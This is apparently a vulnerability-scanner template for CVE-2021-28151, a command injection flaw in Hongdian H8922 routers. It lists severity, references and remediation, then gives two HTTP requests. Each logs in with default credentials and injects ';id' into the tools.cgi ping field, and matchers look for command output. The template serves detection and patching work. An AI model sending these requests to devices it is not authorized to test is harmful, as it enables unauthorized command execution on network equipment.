66 lines
2.3 KiB
YAML
66 lines
2.3 KiB
YAML
id: CVE-2021-28151
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info:
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name: Hongdian H8922 3.0.5 - Remote Command Injection
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author: gy741
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severity: high
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description: |
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Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
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remediation: |
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Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
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reference:
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- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
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- http://en.hongdian.com/Products/Details/H8922
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-28151
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cwe-id: CWE-78
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epss-score: 0.96989
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epss-percentile: 0.99682
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cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: hongdian
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product: h8922_firmware
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tags: cve2021,cve,hongdian,rce,injection
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http:
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- raw:
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- |
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POST /tools.cgi HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/tools.cgi
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op_type=ping&destination=%3Bid
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- |
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POST /tools.cgi HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic YWRtaW46YWRtaW4=
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/tools.cgi
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op_type=ping&destination=%3Bid
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- "application/x-www-form-urlencoded"
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condition: or
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- type: regex
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regex:
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- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100d9ffdd7cceaff8e785cc19fb862ef923b9b3f9d460679b626ff2c4f000334bee02204f82ab9266c3f8e39655e2c7df9865af946024f2aad3d5e7c88d02f1fd414525:922c64590222798bb761d5b6d8e72950 |